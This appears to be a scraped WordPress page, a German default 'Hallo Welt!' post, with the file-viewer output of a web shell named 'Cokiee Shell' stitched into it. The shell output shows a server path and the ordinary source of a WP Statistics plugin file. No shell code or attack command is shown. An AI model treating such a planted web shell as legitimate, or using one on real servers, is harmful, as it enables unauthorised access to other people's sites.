Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /var/www/web28/html/wp-content/plugins/wp-statistics/src/Decorators/ |
Current File : //var/www/web28/html/wp-content/plugins/wp-statistics/src/Decorators/ReferralDecorator.php |
<?php namespace WP_Statistics\Decorators; use WP_Statistics\Service\Analytics\Referrals\SourceChannels; use WP_Statistics\Utils\Url; class ReferralDecorator { private $item; public function __construct($item) { $this->item = $item; } /** * Get the raw referrer value. * * @return string|null */ public function getRawReferrer() { return $this->item->referred ?? null; } /** * Get the referrer url. * * @return string|null */ public function getReferrer() { return $this->item->referred ? Url::formatUrl($this->item->referred) : null; } /** * Get the source channel (e.g., direct, search, etc.). * * @return string|null */ public function getSourceChannel() { return SourceChannels::getName($this->item->source_channel) ?? null; } /** * Get the source name (e.g., Google, Yandex, etc.). * * @return string|null */ public function getSourceName() { return $this->item->source_name ?? null; } /** * Get the total number of referrals. * * @return int */ public function getTotalReferrals() { return $this->item->visitors ? number_format_i18n($this->item->visitors) : 0; } }
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare